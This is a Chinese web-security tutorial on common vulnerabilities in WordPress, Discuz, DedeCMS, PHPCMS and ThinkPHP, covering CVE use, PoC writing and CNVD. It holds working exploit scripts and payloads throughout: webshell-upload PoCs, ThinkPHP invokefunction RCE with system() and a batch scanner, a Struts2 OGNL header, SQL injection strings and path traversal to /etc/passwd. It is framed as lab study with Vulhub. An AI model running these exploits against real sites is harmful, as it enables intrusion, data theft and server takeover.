> 技术文档 > 关于 Web 安全:6. 常见 CMS & 开源系统风险点_攻击开源cms

关于 Web 安全:6. 常见 CMS & 开源系统风险点_攻击开源cms


一、WordPress 

  • 开源内容管理系统(CMS),使用 PHP + MySQL 构建;

  • 全球超过 40% 网站使用

  • 支持插件、主题系统,功能可扩展性极强;

  • 也是风险点最多的系统之一,插件/主题贡献了大部分安全问题

1.1 WordPress 架构概览

(便于理解风险点位置)

WordPress├── wp-admin/ → 后台管理界面├── wp-content/│ ├── themes/ → 前端模板(可能存在 XSS/上传)│ └── plugins/ → 插件目录(最多风险点来源)├── wp-includes/ → 核心函数库├── wp-config.php → 配置文件(数据库连接信息)├── index.php → 网站首页入口└── functions.php → 常见主题挂钩函数

1.2 WordPress 常见风险点类型

类型 描述 示例插件/位置 任意文件上传 插件绕过上传限制,上传 PHP Shell 文件管理类插件、主题上传点 SQL 注入 参数未过滤,注入数据库语句 如 WP Statistics XSS(跨站脚本) 用户输入未过滤,注入 JS 脚本 评论、搜索框、帖子 CSRF 未做 Token 验证的敏感操作 管理员点击恶意链接,触发敏感动作 RCE 通过插件/主题风险点,远程执行任意 PHP 命令 PHP Object Injection、eval() 后门 信息泄露 暴露用户、路径、目录结构等 xmlrpc 接口、REST API、目录遍历

1.3 历史 CVE 风险点分析(含原理)

CVE-2019-8942 — 任意文件删除风险点

  • 位置wp-includes/functions.php

  • 影响版本:WordPress < 5.0.1

  • 原理

    • wp_delete_attachment() 可删除任意路径;

    • 攻击者上传一个图片文件并删除对应路径可实现本地文件删除。

CVE-2020-25213 — 插件 File Manager RCE

  • 插件名:File Manager(700k+ 安装)

  • 风险点描述

    • 插件打包带了 elFinder 文件管理器;

    • elFinder 中的 connector.minimal.php 没有身份验证;

    • 可直接上传恶意 PHP 文件并执行,实现 RCE。

  • 利用路径

POST /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php

CVE-2017-1001000 — WP REST API 任意用户信息泄露

  • 影响版本:4.7.x

  • API 可被未授权访问,直接获取用户信息:

GET /wp-json/wp/v2/users

1.4 POC 编写方法(以 RCE 为例)

示例:File Manager 插件 RCE POC

import requests # 导入 requests 库,用于发送 HTTP 请求def upload_shell(url): # 定义上传 WebShell 的函数,参数为目标网站地址 # 拼接目标上传地址,这是 WP File Manager 插件的一个文件上传接口路径 upload_url = f\"{url}/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php\" # 构造上传的文件参数,文件名为 shell.php,内容为执行 cmd 参数命令的 PHP 代码,MIME 类型为 PHP files = { \'upload[]\': (\'shell.php\', b\'\', \'application/x-php\') } try: # 发送 POST 请求将文件上传到服务器 r = requests.post(upload_url, files=files, timeout=5) # 如果响应中包含“added”关键字,表示上传成功 if \"added\" in r.text: print(\"[+] 上传成功!尝试访问 shell\") # 打印成功信息 # 打印 WebShell 的访问地址,并附带测试命令 ?cmd=id print(f\"访问地址:{url}/wp-content/plugins/wp-file-manager/lib/files/shell.php?cmd=id\") else: print(\"[-] 上传失败\") # 上传不成功则输出失败信息 except: print(\"[-] 请求失败\") # 请求过程中出现异常则输出失败信息upload_shell(\"http://127.0.0.1\") # 调用函数,传入本地测试地址作为目标网站地址

1.5 风险点复现平台

1)Vulhub

  • 风险点靶场,提供 WordPress 相关复现环境

  • 使用方法:

git clone https://github.com/vulhub/vulhub.gitcd vulhub/wordpress/CVE-XXXX-XXXXdocker-compose up -d

2)GitHub PoC 搜索

site:github.com wordpress pocsite:github.com wordpress CVE-2020-25213

常见 PoC 库:

  • https://github.com/projectdiscovery/nuclei-templates

  • https://github.com/vulhub/vulhub

  • https://github.com/nomi-sec/PoC-in-GitHub

3)国内平台

平台 功能 CNVD 查阅已知 WordPress 核心/插件风险点 补天平台 提交 WordPress 风险点获得积分、赏金 风险点盒子(历史) 老平台,很多插件历史风险点记录

1.6 系统性 WordPress 风险点挖掘

初级阶段:

  • 安装 WordPress(建议用 Docker)

  • 安装热门插件(下载旧版本)

  • 配合 Burp Suite 抓包观察上传/请求

中级阶段:

  • 用 WPScan 自动化扫描插件风险点

  • 学习常见 CVE 利用过程

  • 手动构造 POC、复现请求

高级阶段:

  • 审计插件源码(PHP)

  • 分析插件 hook、filter、ajax 动态请求

  • 自己编写插件 + 引入风险点 → 学习风险点原理

1.7 WPScan 工具推荐

wpscan --url http://127.0.0.1 --enumerate p
  • --enumerate u 枚举用户

  • --enumerate p 枚举插件

  • --api-token=xxx 可查 CVE

1.8 小结

项目 内容 学习方向 插件/主题安全、风险点分析、审计、PoC 编写 高危点 任意上传、插件远程命令执行、反序列化 实践方式 使用 Vulhub + GitHub POC + 自己编写上传脚本 常用工具 WPScan、Burp Suite、dirsearch、nuclei

二、Discuz 

Discuz 是国内大量网站(如论坛、社区)的核心组件,因其广泛使用和 PHP 编写,成为安全研究重点对象。

  • 作者:Comsenz(腾讯收购)

  • 语言:PHP + MySQL

  • 用途:论坛、社区系统(可与 UCenter 集成)

  • 文件结构:功能集中在 source/ 目录,交互入口在 forum.phpmember.php

2.1 Discuz 常见风险点类型

风险点类型 描述 常见位置 SQL注入 参数拼接未过滤 搜索、登录、插件参数 任意文件上传 绕过 MIME 检测 上传头像、主题封面、插件 XSS 跨站脚本 输入未过滤、富文本风险点 帖子内容、签名、头像路径 CSRF 跨站请求伪造 缺少 formhash 校验 注册、发帖、添加管理员 远程代码执行 RCE 利用 eval / preg_replace / 动态 include 插件模板、缓存文件 任意文件读取/包含 用户输入拼接文件路径 include、require、loadcache SSRF/命令注入 管理后台中图片链接处理 头像抓取、远程图片

2.2 Discuz 文件结构

利于风险点定位

Discuz/├── admin.php → 后台入口├── forum.php → 主页面逻辑├── uc_server/ → 用户中心(UCenter)├── source/│ ├── function/ → 核心函数库│ ├── module/ → 模块控制器│ ├── plugin/ → 插件目录│ ├── class/ → 类库│ └── include/ → 各类配置及逻辑函数├── config/├── data/│ ├── cache/ → 缓存,某些可写导致 RCE│ └── template/ → 模板编译生成目录└── template/ → 前端模板

2.3 典型 CVE 和历史风险点详解

1)Discuz! X3.4 前台 getshell 风险点(无 CVE,影响广泛)

  • 版本:Discuz X3.4 < R20211215

  • 入口:插件上传图片时绕过 MIME 检测,写入 PHP Shell 到缓存目录

  • 关键点:上传路径 data/cache/common.php 被 include,成功 getshell

原理:

// source/function/function_core.php// 文件缓存内容直接 includeif(file_exists($cachefile)) { include $cachefile;}
  • 攻击者构造上传内容为 PHP 代码,绕过格式检测;

  • 上传后缓存被 include,即可远程执行 PHP。

2)CVE-2013-2087 — SQL 注入风险点

  • 版本:Discuz 7.2

  • 位置misc.php?mod=patch

  • 参数serial 直接进入 SQL 查询,未做参数过滤

  • 影响:可爆库、登录后台、提权等

3)XSS 风险点 — 签名/主题

  • 签名设置时可以写入

  • 管理员后台查看时触发;

  • 可构造Cookie 窃取 / CSRF 搭配使用实现提权

2.4 利用方式与 POC 编写

示例:Discuz X3.4 插件上传图片绕过上传检测 Getshell

import requests# 修改为你的目标站点target = \'http://127.0.0.1/discuz/\'# 构造上传内容(PHP一句话)payload = { \'Filedata\': (\'shell.jpg\', b\'\', \'image/jpeg\')}headers = { \'User-Agent\': \'Mozilla/5.0\', \'Cookie\': \'your_cookie_here\' # 登录后的 Cookie}upload_url = target + \'misc.php?mod=swfupload&action=swfupload&operation=album&type=image\'r = requests.post(upload_url, files=payload, headers=headers)print(\'[+] 上传完成,检查是否写入缓存并被 include\')

2.5 风险点挖掘思路

目标 方法 上传风险点 搜索 move_uploaded_file / copy 函数 SQL注入 搜索 $sql = \"SELECT ... $_GET/$_POST\" XSS 搜索 echo $_GET/$_POST/$_COOKIE 文件包含 搜索 include($_GET)require($var) CSRF 找 form 操作是否校验 formhash

2.6 工具推荐

1)Burp Suite + 插件(xss validator、upload scanner)

2)代码审计工具

  • Seay Source Code Auditor(国产,支持 PHP)

  • RIPS(开源静态分析工具)

  • VSCode + 全局搜索

3)自动化风险点检测框架

  • dirsearchnucleiWhatWeb:探测后台与目录结构

  • sqlmap:测试 SQL 注入

2.7 风险点复现平台

平台 说明 CNVD 查 Discuz 历史风险点 风险点盒子 搜 Discuz + 风险点类型(如“discuz 文件上传”) 补天平台 真实站点测试(白帽子平台) GitHub PoC 搜索 直接下载复现脚本或 Fuzz 工具 Vulhub 虽未内置 Discuz,可自行搭建测试环境

2.8 系统学习 Discuz 风险点

推荐流程:

  1. 本地搭建环境

    • 使用 LNMP(或 XAMPP/WAMP)搭建 Discuz

    • 安装常用插件如“X附件管理”、“门户扩展”、“积分商城”

  2. 手动分析风险点

    • 查找上传入口、动态 include 文件

    • 配合 burp 抓包分析请求参数

  3. 复现公开风险点

    • 利用 CNVD/wooyun 风险点标题 + GitHub 搜脚本

    • 改写为 POC/EXP,加深理解

  4. 源码审计(进阶):

    • 审计 source/function、module/plugin 目录

    • 重点函数:include, eval, move_uploaded_file, DB::query

2.9 小结

内容 说明 核心风险 上传点+缓存路径包含、插件不安全参数 高危函数 eval、preg_replace、include、require、DB::query POC 编写 抓包分析请求路径、构造上传/注入/脚本内容 建议练手 X3.4 缓存上传 RCE、XSS(签名)、SQL注入 CVE-2013-2087 推荐技能 熟悉 PHP、掌握 Burp Suite、代码审计技巧

三、dedecms 

  • 作者:织梦科技(dede58.com / dedecms.com)

  • 语言:PHP + MySQL

  • 用途:中小型企业官网、个人站、博客系统,国内使用广泛

  • 特性:模板灵活、后台功能强,但安全设计薄弱

3.1 DedeCMS 常见风险点类型

风险点类型 说明 风险点位置举例 SQL注入 参数拼接未过滤 member、plus、diy模块 任意文件上传 上传文件未做类型校验或扩展名绕过 模板文件上传、自定义表单上传 远程命令执行(RCE) 利用 include + 用户可控路径等构造 include 动态拼接 任意文件删除 可控路径拼接 unlink 函数 缓存清除/图片处理等 任意文件读取 拼接 include 路径、读取配置、数据库备份文件 下载备份数据库、模板泄漏 XSS 页面未对用户输入做转义 留言板、评论、会员资料、搜索框 CSRF 缺少 token 检查,用户操作被劫持 后台配置、会员注册或密码修改等

3.2 重要目录结构

dedecms/├── dede/  → 后台目录(默认可自定义)├── plus/  → 模块扩展接口(如留言板、搜索)├── uploads/  → 用户上传目录├── include/  → 核心库函数├── data/  → 数据库备份 / 配置文件 / 可读可写├── templets/ → 前端模板目录├── member/  → 用户系统模块└── install/ → 安装程序

3.3 典型风险点与 CVE 实例详解

1)CVE-2018-6910 — 任意文件删除风险点

  • 位置/plus/recommend.php

  • 原理

    • 参数 aid 为用户控制,最终调用了 unlink 删除文件

    • 可拼接删除任意文件,如:../../data/admin/config.php

// plus/recommend.php@unlink($cfg_basedir.$row[\'litpic\']);

2)任意文件上传(getshell) — no CVE

  • 版本:DedeCMS v5.7 SP2 / SP3 多版本

  • 位置:会员中心 / 模板管理上传 / 自定义表单

// dede/templets.phpmove_uploaded_file($_FILES[\'uploadfile\'][\'tmp_name\'], $cfg_basedir.$filename);
  • 可以构造上传 .php;.jpg 文件绕过检查

  • 上传路径可控,如 uploads/a.php

3)SQL 注入风险点

  • 位置plus/diy.php, plus/search.php, member/guestbook.php

  • 危险函数$dsql->Execute(), GetOne(), ExecuteNoneQuery()

// plus/diy.php$query = \"SELECT ... WHERE id=\'$id\'\";// id 未过滤,拼接到 SQL
  • 利用 id=1\' or updatexml(1,concat(0x7e,user()),0) --+ 可回显错误

4)远程代码执行风险点(RCE) — include 拼接

  • 位置/include/common.inc.php 中存在动态包含
require_once(dirname(__FILE__).\'/../\'.$some_var.\'.php\');
  • 如果 $some_var 可控,则可实现任意包含或代码执行

3.4 风险点挖掘与 POC 编写方法

示例:DedeCMS 任意文件上传 Getshell(会员中心)

攻击流程:

  1. 登录会员中心

  2. 上传头像时绕过检查上传 php

  3. 利用访问上传路径执行恶意代码

简易 POC:

import requestsurl = \'http://target.com/uploads/\'file = {\'file1\': (\'shell.php\', \'\', \'application/octet-stream\')}r = requests.post(\'http://target.com/dede/templets_add.php\', files=file)if \'success\' in r.text: print(\'[+] Upload success\') print(f\'[+] Shell: {url}shell.php\')

3.5 代码审计思路

目标类型 搜索关键词 上传风险点 move_uploaded_file, copy SQL 注入 SELECT * FROM, WHERE, $_GET, $_POST 文件包含/执行 include, require, eval 文件删除 unlink, @unlink 读取敏感信息 readfile, fopen

3.6 复现环境搭建

方式一:Docker 环境搭建

git clone https://github.com/vulhub/vulhubcd vulhub/dedecms/CVE-2018-6910docker-compose up -d

访问:http://localhost:8080

方式二:手动搭建

  1. 下载 dedecms 安装包(如 5.7 SP2)

  2. 本地配置 LNMP / XAMPP 环境

  3. 修改后台目录名(dede/)确保路径一致

  4. 添加测试数据,构造 payload

3.7 风险点资源获取平台

平台 用法示例 CNVD 搜索关键词 DedeCMS,获取风险点编号和说明 风险点盒子 搜 织梦, dedecms,查看历史风险点和 PoC 补天平台 查询真实站点 DedeCMS 风险点情况 GitHub PoC 搜索 dedecms poc exploit SecWiki 整理常见 CMS 风险点

3.8 系统性 DedeCMS 风险点挖掘

初级:

  • 熟悉后台结构、模板上传逻辑、plus 接口参数

  • 练习 CVE-2018-6910(任意删除)和常见文件上传

中级:

  • 审计 member/plus/dede/include 目录代码

  • 编写 burp 插件抓包分析自定义上传逻辑

高级:

  • 分析 include/common.inc.php 加载流程

  • 搜索 eval, include, require, fwrite,做静态审计

3.9 小结

内容 说明 高危函数 eval, include, move_uploaded_file, unlink 容易被攻击点 模板上传、会员资料、plus 接口 实战推荐风险点 任意删除 CVE-2018-6910、模板上传 Getshell 推荐平台与工具 GitHub PoC、Vulhub、Burp Suite、Seay 审计工具 建议 本地搭环境,复现 + 审计结合,逐步深入理解源码

四、phpcms 

  • 名称:PHPCMS(PHP内容管理系统)

  • 作者:2003年诞生,开源免费,由盛大收购后开源终止,后由社区维护

  • 语言:PHP + MySQL

  • 版本:常见使用版本为 PHPCMS v9

目录结构清晰、模块化好、使用面广,但安全性设计不够完善,是代码审计和风险点复现的经典 CMS 之一。

4.1 重要目录结构

phpcms/├── phpcms/ ← 核心文件├── caches/ ← 缓存目录,可写├── statics/ ← 静态资源├── api/ ← 接口模块├── install/ ← 安装目录├── member/ ← 会员中心├── admin/  ← 管理后台├── uploadfile/ ← 文件上传(可传马)└── configs/ ← 数据库配置等

4.2 常见风险点类型总结

类型 简述 任意文件上传 上传头像、编辑器附件、模板等绕过限制,获取 webshell SQL 注入 使用 $this->db->query() 拼接参数导致注入 远程命令执行 用户参数拼接后用于 evalassert 任意文件包含 include($_GET[\'mod\'].\'.php\') 这类形式 任意文件读取 readfile($filename)file_get_contents($_GET[\'f\']) 任意文件删除 unlink($_GET[\'file\']) 等未验证参数 后台绕过 管理登录验证绕过、验证码绕过 XSS/CSRF 富文本/评论系统等

4.3 典型风险点实例详解(含 CVE)

1)任意文件上传风险点(webshell)

  • 位置phpcms/modules/member/index.php

  • 原理

    • 注册会员上传头像时,没有过滤扩展名或上传路径可控

    • 可以上传 a.php;.jpg 或通过目录穿越写入 .php

实战流程:

  1. 注册账号,访问上传接口

  2. 上传恶意 webshell

  3. 构造访问路径执行命令

示例代码:

// member/index.php$filepath = \'uploadfile/avatar/\' . $userid . \'.jpg\';move_uploaded_file($_FILES[\'Filedata\'][\'tmp_name\'], $filepath);

构造 payload:

POST /index.php?m=member&c=index&a=upload HTTP/1.1...Filedata = shell.php;.jpg // 后缀绕过

2)SQL 注入风险点(无WAF场景高回显)

  • 位置/api.php,参数未过滤

  • CVE:CVE-2018-19127

  • POC

http://target.com/index.php?m=content&c=index&a=lists&catid=1&kw=\' and updatexml(1,concat(0x7e,user()),1) --+
  • 可直接报错注入,回显数据库用户名等敏感数据

3)任意文件读取风险点

  • 位置phpcms/modules/content/down.php

  • 风险点点

$filename = $_GET[\'f\']; // 未限制后缀名和目录readfile($filename);
  • 构造访问:
http://target.com/index.php?m=content&c=down&a=init&f=../../config/database.php

4)任意文件包含风险点

  • CVE:CVE-2018-19126

  • 位置phpcms/modules/search/index.php

  • 核心代码

require_once PHPCMS_PATH.\'include/\'.$module.\'.php\';
  • 构造:
http://target.com/index.php?m=search&c=index&a=init&module=../../uploadfile/shell

前提是可控上传 + include。

4.4 POC 编写方式

以上传风险点为例,编写 POC 时通常包含三步:

  • 构造上传请求

files = { \'Filedata\': (\'shell.php;.jpg\', \'\', \'image/jpeg\')}r = requests.post(upload_url, files=files)
  • 判断是否上传成功
if \'success\' in r.text and \'shell.php\' in r.text: print(\"Upload Success\")
  • 发送命令执行测试
test = requests.post(shell_url, data={\'cmd\': \'phpinfo();\'})if \'PHP Version\' in test.text: print(\"Shell is working\")

4.5 复现平台

平台 使用方式 CNVD 搜索关键词 phpcms 查看风险点编号、通告 补天平台 搜 “phpcms” 查看实战攻击记录 GitHub POC 搜 phpcms poc exploit Vulhub 提供 CVE-2018-19126 等复现环境 风险点盒子镜像 查找历史风险点投稿 Seebug 有详细风险点分析文章

4.6 本地搭建复现环境

方法一:使用 Vulhub

git clone https://github.com/vulhub/vulhubcd vulhub/phpcms/CVE-2018-19126docker-compose up -d

访问:http://localhost:8080

方法二:手动搭建

  • 下载 PHPCMS v9

  • 配置 LNMP 环境

  • 配置 MySQL 及数据库账号

  • 添加测试数据并尝试风险点构造

4.7 代码审计技巧

审计目标 检查方式 上传函数 move_uploaded_file, copy, fwrite,配合 $_FILES 使用 SQL语句拼接 $db->query(\"select * from ... \".$_GET[\'id\']) 动态执行函数 eval(), include, require 文件读取 readfile, file_get_contents, fopen

4.8 学习建议

入门阶段

  • 学会搭建 phpcms v9 环境

  • 练习 CVE-2018-19126 文件包含

  • 抓包分析上传接口逻辑

进阶阶段

  • 熟练编写文件上传、注入、包含类风险点 POC

  • 尝试代码审计 phpcms/modules/* 路径下各模块

  • 搜索高危函数 eval, assert, unserialize

4.9 小结

内容 说明 高危点 上传接口、search 模块、down 模块 推荐复现风险点 CVE-2018-19126、上传 getshell 平台与资源 GitHub PoC、Vulhub、CNVD、补天 学习方向建议 审计 + 搭建复现 + 写 PoC + 看 CVE

五、ThinkPHP 

  • 全称:ThinkPHP Framework

  • 作者/团队:TopThink(国人开发)

  • 语言:PHP

  • 版本体系

    • ThinkPHP 3.x(大量站点仍在用)

    • ThinkPHP 5.x(5.0、5.1)

    • ThinkPHP 6.x(最新版,重构了架构)

安全性最差的版本为 ThinkPHP 5.0.x 和 5.1.x,风险点最多、利用最广。

5.1 常见风险点类型

风险点类型 简述 RCE(远程命令执行) 路由解析器对控制器/方法名未做严格过滤 SQL注入 部分版本参数拼接或query手动执行导致注入 变量覆盖 使用 extract、parse_str 导致全局变量被覆盖 文件包含 使用 include($file) 时未限制路径 信息泄露 debug 模式、trace、日志接口未关闭 任意文件写入/上传 模板写入、日志写入可导致任意写文件

5.2 核心风险点详解

1)ThinkPHP 5.0.23 RCE(经典)

  • 编号:无 CVE,但极其广泛

  • 影响版本:ThinkPHP 5.0.0 ~ 5.0.23

  • 原因:路由系统未限制模块/方法名,导致 __construct() 被执行

请求构造:

POST /index.php?s=/index/\\think\\Request/input HTTP/1.1Content-Type: application/x-www-form-urlencoded_get[]=phpinfo
  • 解释:

    • /index.php?s=/index/\\think\\Request/input 利用了 PHP 类自动加载

    • 调用了 Request::input() 方法

    • _get[] 数组会被传给 input 方法,最终触发命令执行

利用函数:

  • system()

  • phpinfo()

  • assert()

2)ThinkPHP 5.1.6 RCE(CVE-2018-20062)

  • 编号:CVE-2018-20062

  • 原理:控制器反射调用,构造调用方法并传参触发命令执行

利用路径:

GET /index.php?s=/index/\\think\\App/invokefunction&function=phpinfo&vars[0]=1
  • App::invokeFunction() 会调用任意函数 phpinfo,传参为 1

  • 支持调用 system, exec, shell_exec

攻击链:

\\think\\App -> invokeFunction(function, args) -> call_user_func_array

3)变量覆盖导致任意文件写入

  • 原理

    • 日志系统使用 extract() 获取变量

    • 利用日志写入点 + 后缀伪造写入 webshell

利用条件:

  • 日志目录可写

  • 文件内容可控(如写入

5.3 POC 编写思路(以 5.0.23 RCE 为例)

POC 核心思路:

  • 发送 POST 请求执行 phpinfo() 测试 RCE 是否存在

  • 改成 system(\'id\') 实现命令执行

import requestsurl = \'http://target.com/index.php?s=/index/\\\\think\\\\Request/input\'data = {\'_method\': \'__construct\', \'filter[]\': \'phpinfo\', \'server[REQUEST_METHOD]\': \'1\'}r = requests.post(url, data=data)if \'PHP Version\' in r.text: print(\"[+] ThinkPHP RCE 存在!\")

5.4 审计技巧与代码分析重点

关键位置 说明 route.php 路由定义和闭包函数可能执行 app()->run() 核心入口函数 App::invokeFunction 可反射执行任意函数 Request::input() 读取任意输入数据 Config::get() 读取配置(信息泄露点) Log::write() 可控写入日志

5.5 复现平台

资源平台 用途与说明 Vulhub 提供 TP 5.0.23、5.1.6 风险点环境 GitHub POC 搜索 thinkphp RCE CVE poc CNVD 查询国内披露的 TP 风险点 Seebug 优质风险点分析文章与实战案例 风险点盒子/补天 有丰富的 TP 实战提交和案例

5.6 本地环境复现(Vulhub)

git clone https://github.com/vulhub/vulhubcd vulhub/thinkphp/5-rcedocker-compose up -d

访问:http://localhost:8080  可直接使用 PoC 测试是否存在风险点

5.7 实战挖掘技巧

1)路由注入点识别

  • /index.php?s=/ 是否存在?

  • 是否允许使用 \\think\\类名 构造请求?

2)控制器调用链梳理

  • 查看是否存在反射执行点 App::invokeFunction, Loader::action

3)日志/模板写入点

  • 查看 Log::write() 是否内容可控

  • 模板编译缓存是否在 web 根目录runtime/temp/*.php

4)DEBUG 模式信息泄露

访问:

/index.php?s=/index/\\\\think\\\\app/invokefunction&function=phpinfo/index.php?debug=1

5.8 版本风险点

版本 风险点 CVE/说明 TP 5.0.23 RCE via Request::input 无 CVE,经典构造 TP 5.1.6 RCE via App::invokeFunction CVE-2018-20062 TP 3.2.3 SQL 注入、变量覆盖 存在多个未修复风险点 TP 通用 任意方法调用、任意文件写入、debug 泄露 取决于配置与代码写法

5.9 学习建议

阶段 学习建议 入门 跑通 Vulhub 的 TP 风险点复现,理解控制器调用链 进阶 熟悉框架路由机制、反射函数执行机制 提升 自己写一个小风险点框架或扫描器,挖私有站风险点

六、CVE 利用方式

6.1 什么是 CVE?

  • CVE 编号示例:CVE-2018-20062

  • 组成CVE-年份-编号,如 CVE-2023-XXXX

  • 意义:为安全研究者提供一个统一引用风险点的“身份证”。

6.2 CVE 风险点利用的一般步骤

步骤 说明 ① 查找 CVE 信息 在 NVD、Exploit-DB、Seebug、CNVD 上查询 ② 理解风险点原理 阅读风险点分析报告,梳理调用链与触发点 ③ 环境搭建 使用 Vulhub、Docker、本地源码构建环境 ④ 编写 PoC 构造触发风险点的数据包或请求 ⑤ 执行利用 利用风险点执行命令、读取文件、getshell 等 ⑥ 留痕排查 查看日志、修复补丁、写风险点检测脚本

6.3 CVE 利用类型示例(Web 安全领域)

类型 示例 CVE 利用方式 RCE(远程命令执行) CVE-2018-20062(ThinkPHP) 构造反射函数调用执行命令 SQL注入 CVE-2022-36804(Jira) 在查询参数中注入 SQL 语句 文件上传 CVE-2023-25136(某 CMS) 构造非法上传绕过后缀检查 文件包含 CVE-2019-6340(Drupal) 包含远程代码并执行 任意文件读取 CVE-2021-43798(Grafana) 利用路径穿越读取系统文件

6.4 CVE 利用方式深入分析:以两个 CVE 为例

案例一:ThinkPHP RCE(CVE-2018-20062)

风险点概述:

  • 利用了 App::invokeFunction() 方法未做权限验证,可远程执行任意函数

请求方式:

GET /index.php?s=/index/\\think\\App/invokefunction&function=phpinfo&vars[0]=1

 实现效果:

  • 执行任意 PHP 函数,如 system(\"id\")

利用步骤:

  • 本地搭建 ThinkPHP 5.1 环境

  • 访问上方构造的 URL

  • 响应中出现 PHP 版本信息或执行结果

案例二:Apache Struts2 RCE(CVE-2017-5638)

风险点:

  • Apache Struts2 文件上传组件使用 Content-Type 头触发 OGNL 表达式执行

Payload 示例:

Content-Type: %{(#context[\"com.opensymphony.xwork2.dispatcher.HttpServletResponse\"].addHeader(\"X-Test\",\"Exploit\"))}

执行效果:

  • 执行任意命令,如 whoami、反弹 shell

6.5 CVE PoC 编写方法(以 Web 为例)

1)PoC 基本结构

import requestsdef test(url): payload = \"/index.php?s=/index/\\\\think\\\\App/invokefunction&function=phpinfo&vars[0]=1\" res = requests.get(url + payload) if \"PHP Version\" in res.text: print(\"[+] 风险点存在\") else: print(\"[-] 风险点不存在\")test(\"http://127.0.0.1\")

2)攻击型 Exploit 示例(RCE)

import requestsdef exploit(url, cmd): payload = f\"/index.php?s=/index/\\\\think\\\\App/invokefunction&function=system&vars[0]={cmd}\" res = requests.get(url + payload) print(res.text)exploit(\"http://127.0.0.1\", \"id\")

6.6 常用平台查找 CVE 和 POC

1)官方平台

名称 地址 说明 NVD https://nvd.nist.gov 官方 CVE 数据库 CVE 官网 https://cve.mitre.org CVE 编号查询 CNVD https://www.cnvd.org.cn 国内风险点库

2)POC/EXP 平台

平台 用途 Exploit-DB:https://www.exploit-db.com 收录 CVE 的 Exploit 代码 GitHub(搜索 CVE-xxxx) 搜索开源 POC/EXP Seebug:https://paper.seebug.org 中文分析报告与 POC 风险点盒子、补天平台 可上传和复现 CVE Vulhub:https://github.com/vulhub/vulhub 提供 CVE 对应的 Docker 风险点复现环境

6.7 CVE 实战思路总结

  • 先搜索 CVE 编号(Google、NVD、Seebug)

  • 确认版本是否影响

  • 在 Vulhub 构建复现环境

  • 写 POC 脚本测试回显

  • 扩展为批量检测脚本、自动化利用工具

  • 提交风险点平台如补天、SRC 或 GitHub


七、POC 编写方法

PoC(Proof of Concept) 是指用于验证风险点是否存在的一段代码或脚本,通常用来:

  • 风险点复现与验证

  • 自动化扫描

  • 提交风险点平台(如补天、CNVD)

  • 作为风险点利用(EXP)的前置阶段

重点是“验证”,不是“攻击”。PoC 不应对目标造成破坏。

7.1 PoC 的基本结构

PoC 的核心功能就是构造特定请求 ➜ 发送 ➜ 判断响应 ➜ 输出结果

import requestsdef poc(url): payload = \"...\" # 构造恶意请求 res = requests.get(url + payload) if \"风险点特征\" in res.text: print(f\"[+] {url} 存在风险点!\") else: print(f\"[-] {url} 不存在风险点。\")

7.2 常见风险点类型的 PoC 编写模板

1)远程命令执行(RCE)

以 ThinkPHP RCE 为例(CVE-2018-20062):

def thinkphp_rce(url): payload = \"/index.php?s=/index/\\\\think\\\\App/invokefunction&function=phpinfo&vars[0]=1\" try: res = requests.get(url + payload, timeout=5) if \"PHP Version\" in res.text: print(f\"[+] 存在RCE风险点: {url}\") else: print(\"[-] 不存在风险点\") except: print(\"[-] 请求失败\")

2)SQL 注入风险点

以某 CMS POST 注入为例:

def sql_injection(url): data = { \"username\": \"admin\", \"password\": \"admin\' OR 1=1-- \" } res = requests.post(url, data=data) if \"欢迎您\" in res.text or \"dashboard\" in res.text: print(f\"[+] SQL注入成功: {url}\") else: print(\"[-] SQL注入失败\")

3)任意文件读取

以 Grafana 任意文件读取(CVE-2021-43798)为例:

def read_file(url): payload = \"/public/plugins/alertlist/../../../../../../../../etc/passwd\" res = requests.get(url + payload) if \"root:x:0:0:\" in res.text: print(f\"[+] 存在任意文件读取: {url}\") else: print(\"[-] 风险点不存在\")

4)文件上传绕过

常见场景是上传 php 文件绕过后缀验证:

def file_upload_poc(upload_url): files = {\'file\': (\'shell.php\', \'\', \'application/x-php\')} res = requests.post(upload_url, files=files) if \"上传成功\" in res.text: print(f\"[+] 文件上传成功,可能存在风险点\")

7.3 编写 PoC 的核心技巧

1)如何构造 Payload?

  • 利用抓包工具(BurpSuite、Fiddler)观察正常和异常请求差异

  • 分析风险点原理,寻找参数、路径或头部注入点

  • 参考 Github / Exploit-DB 的 PoC 样例进行改写

2)如何判断是否成功?

  • 关键词判断法:如 \"PHP Version\"\"uid=\"\"root:x:0\"

  • 响应长度变化

  • HTTP 状态码

  • 响应头部特征

3)如何提升 PoC 自动化能力?

  • 增加 URL 检测逻辑,自动补全路径

  • 增加 timeout/重试机制

  • 支持批量扫描、读取目标列表

  • 添加可视化或日志记录模块

示例:批量扫描 PoC 框架

def scan(target_list): for url in target_list: try: thinkphp_rce(url) except Exception as e: print(f\"[-] 扫描失败:{url}, 错误:{e}\")

7.4 PoC 工具和平台资源

名称 用途 Vulhub Docker 风险点复现环境 Pocsuite3(推荐) Python 风险点验证框架 Seebug 中文 PoC 平台 Exploit-DB 国外 PoC 收集站 GitHub 搜索:CVE-202x-xxxx poc 补天、风险点盒子 提交风险点、查看他人 PoC

7.5 进阶建议

1)学习 PoC 框架

  • Pocsuite3360 Mars 团队开源风险点验证框架

  • Nuclei字节开源 YAML 编写 POC 框架,适合做批量扫描

  • MetasploitEXP 居多,也包含 PoC 模块

2)看公开源码学习结构

  • GitHub 搜索 intitle:poc CVE-202*,或关键词 cms风险点 poc,对照学习

  • 关注 SRC/补天 高质量 PoC 写法(参数化、模块化)

7.6 小结 

内容 重点 PoC 目的 风险点洞验证、非破坏性测试 编写核心 构造请求 + 判断结果 编写顺序 先复现 ➜ 观察请求 ➜ 写脚本 ➜ 自动化 实战建议 多复现 CVE + 写自己的 PoC 库 工具推荐 requests、Pocsuite3、Burp、Fiddler

八、CNVD

  • CNVD:China National Vulnerability Database

  • 中文名称:国家信息安全风险点共享平台

  • 官网地址:https://www.cnvd.org.cn

  • 主管单位:中国国家互联网应急中心(CNCERT)

CNVD 是中国官方的风险点收集与通报平台,作用类似于国际的 CVE 系统,但更加本地化,更贴近中国厂商的软件和使用生态。

它具备以下功能:

功能 说明 风险点收录 收集国内外各种软硬件系统的安全风险点信息 提交风险点 安全研究员和厂商可以提交未公开风险点 通报预警 对重要风险点进行分级通报、修复建议 风险点库查询 提供按关键词、组件、厂商、时间等搜索风险点的功能 提交积分奖励 提交风险点可获得“风险点积分”,用于排名与评优

8.1 CNVD 与 CVE 区别对比

